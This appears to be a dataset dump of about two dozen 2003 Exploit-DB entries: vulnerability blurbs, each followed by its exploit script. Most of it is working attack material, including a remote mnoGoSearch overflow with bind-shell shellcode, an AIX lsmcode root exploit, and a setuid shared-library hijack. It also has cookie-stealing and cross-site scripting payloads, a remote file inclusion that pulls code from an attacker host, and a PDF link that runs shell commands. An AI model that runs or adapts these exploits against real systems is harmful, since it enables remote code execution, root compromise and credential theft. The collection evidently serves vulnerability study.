QLWD/code_shield huggingface dataset:
标题: Symantec Security Check RuFSI - ActiveX Control Buffer Overflow EDB-ID: 22816 CVE: 2003-0470 类型: DOS 平台: WINDOWS 发布日期: 2003-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/8008/info

It has been reported that the RuFSI Utility Class is vulnerable to a boundary condition error when invoked with long strings. This could potentially lead to the execution of code with the privileges of the user executing the web browser. 

<object classid="clsid:69DEAF94-AF66-11D3-BEC0-00105AA9B6AE" id="test">
</object>

<script>
test.CompareVersionStrings("long string here","or long string here")
</script> URL: https://www.exploit-db.com/exploits/22816
标题: Linux Kernel 2.2.x/2.4.x - '/proc' Filesystem Information Disclosure EDB-ID: 22813 CVE: 2003-0501 类型: LOCAL 平台: LINUX 发布日期: 2003-06-20 漏洞利用脚本: /* 
source: https://www.securityfocus.com/bid/8002/info

A potential information disclosure vulnerability has been reported for the Linux /proc filesystem, specifically when invoking setuid applications. As a result, an unprivileged user may be able to read the contents of a setuid application's environment data. This could potentially, although unlikely, result in the disclosure of sensitive information, such as restricted file path information. 
*/

/****************************************************************
*                                                               *
*       Linux /proc information disclosure PoC                  *
*       by IhaQueR                                              *
*                                                               *
****************************************************************/



#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>



static char buf[128];



void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
        fprintf(stderr, "FATAL: %s\n", msg);
    } else {
        perror(msg);
    }

    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


int main()
{
    int fd, r;
    char c;

    sprintf(buf, "/proc/%d/environ", getpid());
    fd = open(buf, O_RDONLY);
    if (fd > 0) {
        sprintf(buf, "/proc/%d", getpid());
        if (fork()) {
            printf("\nparent executing setuid\n");
            fflush(stdout);
            execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
            fatal("execl");
        } else {
            sleep(1);
            printf("\nchild reads parent's proc:\n");
            fflush(stdout);
            while (1) {
                r = read(fd, &c, 1);
                if (r <= 0)
                    break;
                printf("%c", c);
            }
            printf("\n\nContent of %s\n", buf);
            fflush(stdout);
            execl("/bin/ls", "ls", "-l", buf, NULL);
        }
    } else
        fatal("open proc");

    printf("\n");
    fflush(stdout);

    return 0;
} URL: https://www.exploit-db.com/exploits/22813
标题: Tutos 1.1 - 'File_Select.php' Cross-Site Scripting EDB-ID: 22818 CVE: 2003-0481 类型: WEBAPPS 平台: PHP 发布日期: 2003-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8011/info

It has been reported that Tutos does not properly handle input to the file_select script. Because of this, an attacker may be able to execute code in the browser of another user with the privileges of the vulnerable site.

http://www.example.com/tutos/file/file_select.php?msg=<hostile code> URL: https://www.exploit-db.com/exploits/22818
标题: XMB Forum 1.8 - 'member.php?member' Cross-Site Scripting EDB-ID: 22820 CVE: 2003-0375 类型: WEBAPPS 平台: PHP 发布日期: 2003-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/8013/info

XMB Forum has been reported prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sanitize user-supplied data. 

An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user.

http://www.example.com/XMBforum/member.phpaction=viewpro&member=admin&lt;script&gt;alert('XSS')&lt;/script&gt; URL: https://www.exploit-db.com/exploits/22820
标题: Tutos 1.1 - File_New Arbitrary File Upload EDB-ID: 22819 CVE: 2003-0482 类型: WEBAPPS 平台: PHP 发布日期: 2003-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8012/info

It has been reported that Tutos does not properly handle input to the file_new script. Because of this, an attacker may be able to upload arbitrary files to a vulnerable site.

We can upload via http://www.example.com/tutos/file/file_new.php?link_id=1065

The path is http://www.example.com/tutos/repository/[project number]/[file
number]/FILE URL: https://www.exploit-db.com/exploits/22819
标题: XMB Forum 1.8 - 'buddy.php?action' Cross-Site Scripting EDB-ID: 22821 CVE: 2003-0483 类型: WEBAPPS 平台: PHP 发布日期: 2003-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/8013/info
 
XMB Forum has been reported prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sanitize user-supplied data.
 
An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user.

http://www.example.com/XMBforum/buddy.php?action=&lt;script&gt;alert('XSS')&lt;/script&gt;&buddy=&lt;script&gt;alert('XSS')&lt;/script&gt; URL: https://www.exploit-db.com/exploits/22821
标题: Kerio MailServer 5.6.3 - Web Mail DO_MAP Module Cross-Site Scripting EDB-ID: 22804 CVE: 2003-0488 类型: WEBAPPS 平台: CGI 发布日期: 2003-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7968/info

Reportedly, Kerio Mailserver is vulnerable to a cross site-scripting attack. The vulnerability is present in the do_map module of the Kerio Mailserver web mail component.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link containing malicious HTML code.

It should be noted that although this vulnerability has been reported to affect Kerio MailServer version 5.6.3, previous versions might also be affected. 

http://www.example.com/do_map?action=new&oldalias=eso&alias=<script>alert(document.cookie);</script>&folder=public&user=lucascavadora URL: https://www.exploit-db.com/exploits/22804
标题: Kerio MailServer 5.6.3 do_map Module - Overflow EDB-ID: 22803 CVE: 2003-0487 类型: DOS 平台: LINUX 发布日期: 2003-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7967/info
   
Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.
   
Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process.

http://[Server]/do_map?
action=new&oldalias=eso&alias=aaa&folder=public&user=AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA URL: https://www.exploit-db.com/exploits/22803
标题: Kerio MailServer 5.6.3 add_acl Module - Overflow EDB-ID: 22801 CVE: 2003-0487 类型: DOS 平台: LINUX 发布日期: 2003-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7967/info
 
Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.
 
Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process. 

http://[server]/add_acl?folder=~AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
localhost/INBOX&add_name=lucas URL: https://www.exploit-db.com/exploits/22801
标题: Kerio MailServer 5.6.3 list Module - Overflow EDB-ID: 22802 CVE: 2003-0487 类型: DOS 平台: LINUX 发布日期: 2003-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7967/info
  
Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.
  
Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process.

http://[Server]/list?folder=~AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@localhost/INBOX URL: https://www.exploit-db.com/exploits/22802
标题: Kerio MailServer 5.6.3 - Web Mail ADD_ACL Module Cross-Site Scripting EDB-ID: 22799 CVE: 2003-0488 类型: WEBAPPS 平台: CGI 发布日期: 2003-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7966/info

Reportedly, Kerio Mailserver is vulnerable to a cross site-scripting attack. The vulnerability is present in the add_acl module of the Kerio Mailserver web mail component.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link.

It should be noted that although this vulnerability has been reported to affect Kerio MailServer version 5.6.3, previous versions might also be affected.

http://www.example.com/add_acl?folder=~conde0@localhost/INBOX&add_name=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/22799
标题: Kerio MailServer 5.6.3 subscribe Module - Overflow EDB-ID: 22800 CVE: 2003-0487 类型: DOS 平台: LINUX 发布日期: 2003-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7967/info

Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.

Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process. 

http://[server]/do_subscribe?showuser=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA URL: https://www.exploit-db.com/exploits/22800
标题: Microsoft Internet Explorer 5 - Custom HTTP Error HTML Injection EDB-ID: 22784 CVE: 2003-0447 类型: REMOTE 平台: WINDOWS 发布日期: 2003-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/7939/info

An issue has been reported for Microsoft Internet Explorer that may result in HTML injection attacks. The vulnerability exists when IE is used to display custom HTTP error messages also known as "Friendly HTTP error messages".

Due to some errors when extracting URLs from the custom error pages, it is possible to cause IE to output malicious HTML code.

Exploitation may allow theft of cookie-based authentication credentials or other attacks.

res://shdoclc.dll/HTTP_501.htm#javascript:%2f*://*%2falert(location.href)/

"Marek Blahus" <marek@blahus.cz> also provided an additional proof-of-concept example:

res://shdoclc.dll/http_404.htm#javascript:alert(String.fromCharCode(72,101,108,108,111));//://clickme/ URL: https://www.exploit-db.com/exploits/22784
标题: LedNews 0.7 Post Script - Code Injection EDB-ID: 22777 CVE: 2003-0495 类型: WEBAPPS 平台: CGI 发布日期: 2003-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7920/info

It has been reported that LedNews does not properly filter input from news posts. Because of this, it may be possible for an attacker to steal authentication cookies or perform other nefarious activities. 

<script>
document.location.replace('http://www.example.com/cgi-bin/cookiemonster.cgi?'+document.cookie);
</script> URL: https://www.exploit-db.com/exploits/22777
标题: Microsoft Internet Explorer 5/6 - MSXML XML File Parsing Cross-Site Scripting EDB-ID: 22783 CVE: 2003-0446 类型: REMOTE 平台: WINDOWS 发布日期: 2003-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/7938/info

A vulnerability has been reported for the Microsoft Internet Explorer that may result in cross-site scripting attacks.

If IE, using the MSXML parser, is unable to parse the requested XML file, it will display a parse error that also includes the URL of the requested XML file. In some cases malicious HTML code will not be properly sanitized from the URL, thereby resulting in the execution of script code.

Exploitation may allow theft of cookie-based authentication credentials or other attacks.

http://host.with.unparsable.xml.file/flaw.xml?<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/22783
标题: Snitz Forums 2000 3.4.03 - 'search.asp' Cross-Site Scripting EDB-ID: 22778 CVE: 2003-0492 类型: WEBAPPS 平台: ASP 发布日期: 2003-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7922/info

Snitz Forums is prone to cross-site scripting attacks. This is due to insufficient sanitization of data passed to the search facility via URI parameters.

Exploitation may allow theft of cookie-based authentication credentials or other attacks.

This issue was reported in Snitz Forums 3.4.0.3, other versions might also be affected.

http://www.example.com/search.asp?Search=">&lt;script&gt;alert()&lt;/script&gt; URL: https://www.exploit-db.com/exploits/22778
标题: Linux PAM 0.77 - Pam_Wheel Module 'getlogin() Username' Spoofing Privilege Escalation EDB-ID: 22781 CVE: 2003-0388 类型: LOCAL 平台: LINUX 发布日期: 2003-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7929/info

A vulnerability has been discovered in the Linux-Pam pam_wheel module. The problem exists in the way the module authenticates users under certain configurations. Specifically, if the module is configured to allow wheel group members to use the 'su' utility without supplying credentials and is not configured to verify the user's UID, it may be possible for a local attacker to elevated privileges.

This can be accomplished by spoofing the users login named, returned by the getlogin() function, to that of a logged in user of the wheel group.

Successful exploitation of this condition could ultimately result in an attacker gaining local root access on the target system. 

$ w
10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 7:13am 3:03m 0.30s 0.22s -bash
farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? -

$ logname
farmer

$ ln /dev/tty tty1
$ bash < tty1

$ logname
root

$ su -
# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) URL: https://www.exploit-db.com/exploits/22781
标题: Progress Database 9.1 - Environment Variable Privilege Escalation EDB-ID: 22773 CVE: 2003-0449 类型: LOCAL 平台: LINUX 发布日期: 2003-06-14 漏洞利用脚本: // source: https://www.securityfocus.com/bid/7916/info

It has been reported that Progress database does not properly handle untrusted input when opening shared libraries. Specifically, the dlopen() function used by several Progress utilities checks the user's PATH environment variable when including shared object libraries. If any shared objects are found, Progress will load and execute them. Due to this, an attacker may be able to gain unauthorized privileges.

Any library code loaded will execute with elevated privileges. 

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClose\n");
}

_init() {
setuid(0);
setgid(0);
printf("bullshit library loaded\n");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
} URL: https://www.exploit-db.com/exploits/22773
标题: PMachine 2.2.1 - '/Lib.Inc.php' Remote File Inclusion / Command Execution EDB-ID: 22776 CVE: 2003-1086 类型: WEBAPPS 平台: PHP 发布日期: 2003-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/7919/info

It has been reported that PMachine does not properly handle include files under some circumstances. Because of this, an attacker may be able to remotely execute commands.

http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=.txt with:

http://attacker.example.com/config.txt

or

http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=/badcode.txt with:

http://attacker.example.com/config/badcode.txt URL: https://www.exploit-db.com/exploits/22776
标题: Adobe Acrobat Reader (UNIX) 5.0 6 / Xpdf 0.9x Hyperlinks - Arbitrary Command Execution EDB-ID: 22771 CVE: 2003-0434 类型: REMOTE 平台: LINUX 发布日期: 2003-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/7912/info

A vulnerability has been reported for multiple PDF viewers for Unix variant operating systems. The problem is said to occur when hyperlinks have been enabled within the viewer. Allegedly, by placing a specially formatted hyperlink within a PDF file it is possible to execute arbitrary shell commands when a user clicks the link. This is due to the PDF viewer invoking an external application, via a call to 'sh -c', to handle the request.

Successful exploitation of this vulnerability could potentially allow an attacker to execute arbitrary commands on a target system with the privileges of the user invoking the PDF document.

It should be noted that this vulnerability may be similar to that described in BID 1624.

** Reports suggest that the fixes supplied by Red Hat and Mandrake Linux do not adequately fix the problem. Specifically, the fixes make changes to xpdf to filter out back quote characters. The problem lies in the fact that other shell metacharacters are not filtered. Thus it may still be possible for attackers to execute arbitrary commands. Red Hat has released updated advisories to correct this oversight. 

\documentclass[11pt]{minimal}
\usepackage{color}
\usepackage[urlcolor=blue,colorlinks=true,pdfpagemode=none]{hyperref}
\begin{document}
\href{prot:hyperlink with stuff, say, `rm -rf /tmp/abc`; touch /tmp/pqr}{\textt\t{Click me}}
\end{document} URL: https://www.exploit-db.com/exploits/22771
标题: MNOGoSearch 3.1.20 - 'search.cgi?UL' Remote Buffer Overflow (2) EDB-ID: 22754 CVE: 2003-0436 类型: REMOTE 平台: CGI 发布日期: 2003-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/7865/info
 
mnoGoSearch 'search.cgi' has been reported prone to a buffer overflow vulnerability.
 
The issue is a result of a lack of sufficient bounds checking performed on user-supplied URI parameters that are passed to the 'search.cgi' application.
 
It may be possible for an attacker to exploit this vulnerability and have arbitrary code executed in the context of the web-server process.

# shellcode binds shell to port 10000

use IO::Socket;

unless (@ARGV > 0) { die "Usage ./DSR-mnogo IP"}

$host = shift(@ARGV);
$ret = pack("l",0xbfbff670);
$nop = "\x90"x5402;

$shellcode = 
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";


$exploit_string = $nop.$shellcode.$ret.$ret;


print "\nRemote Mnogo Exploit \n";
print "Code by inv \n\n";
print "Host: $host\n";

$remote = IO::Socket::INET->new(

 Proto   => "tcp",
 PeerAddr => $host,
 PeerPort => "http(80)",
 );

$remote->autoflush(1);

print $remote "GET /cgi-bin/search.cgi?ul=$exploit_string HTTP/1.0\n\n";

while ( <$remote> ) { print }

close $remote; URL: https://www.exploit-db.com/exploits/22754
标题: Maxwebportal 1.30 - Remote Database Disclosure EDB-ID: 22747 CVE: 2003-1213 类型: WEBAPPS 平台: ASP 发布日期: 2003-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/7837/info
 
A number of vulnerabilities have been discovered in the MaxWebPortal.
 
The issues that have been discovered include:
 
MaxWebPortal 'search.asp' has been reported prone to a cross-site scripting vulnerability. An attacker may execute arbitrary script code in the security context of the system running MaxWebPortal.
 
MaxWebPortal has been reported prone to insecure hidden form field vulnerability. An attacker may save the 'start new topic' page offline. By modifying certain field values, the attacker may corrupt the MaxWebPortal contents.
 
MaxWebPortal has also been reported prone to insecure session cookie vulnerability. Reportedly if an attacker can retrieve a session cookie for a legitimate MaxWebPortal user, the attacker may hijack the account.
 
MaxWebPortal has been reported prone to a database disclosure vulnerability. MaxWebPortal does not sufficiently secure the database file. It is possible for remote attackers to request the database file and gain access to sensitive information.
 
MaxWebPortal 'password.asp' has been reported prone to a password-reset vulnerability. It has been reported that by requesting a forgotten password, an attacker may save the 'password reset' page offline. By modifying the member id in the script the attacker may reset arbitrary account passwords. 

http://www.example.com/database/db2000.mdb URL: https://www.exploit-db.com/exploits/22747
标题: IBM AIX 4.3.x/5.1 - 'LSMCODE' Environment Variable Local Buffer Overflow EDB-ID: 22756 CVE: 2002-0747 类型: LOCAL 平台: AIX 发布日期: 2003-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/7871/info

Insufficient bounds checking in the lsmcode utility will allow locally based attackers to cause memory to be corrupted with attacker-supplied data. As a result, it is possible to exploit this condition to execute arbitrary attacker-supplied instructions with elevated privileges. 

#!/usr/bin/perl
# FileName: x_lsmcode_aix4x.pl
# Exploit lsmcode of Aix4.3.3 to get a uid=0 shell.
# Tested  : on Aix4.3.3.Mybe can work on other versions.
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-6-1
# Announce: use as your owner risk!

$CMD="/usr/sbin/lsmcode";
$_=`/usr/bin/oslevel`;

$XID="\x03";
$UID="\x97";
print "\n\nExploit $CMD for Aix 4.3.3 to get uid=0 shell.\n";
print "From: [ www.xfocus.org 2003-6-1 ].\n\n";

$NOP="\x7c\xa5\x2a\x79"x800;
%ENV=();

$ENV{CCC}="A" .$NOP.&getshell($XID,$UID);
$ENV{DIAGNOSTICS}="\x2f\xf2\x2a\x2f"x300;
$ret = system $CMD ,"-d","a";

for($i=0;$i<4 && $ret;$i++){
  for($j=0;$j<4 && $ret;$j++) {
    $ENV{CCC}="A"x $i .$NOP.&getshell($XID,$UID);
    $ENV{DIAGNOSTICS}="A"x $j ."\x2f\xf2\x2a\x2f"x300;
    $ret = system $CMD ,"-d","a";
  }
}

#sub
sub getshell($XID,$GID) {
  my $SHELL,($XID,$GID)=@_;
  $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
  $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
  $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
  $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
  $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
  $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
  $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
  return $SHELL;
}
#EOF URL: https://www.exploit-db.com/exploits/22756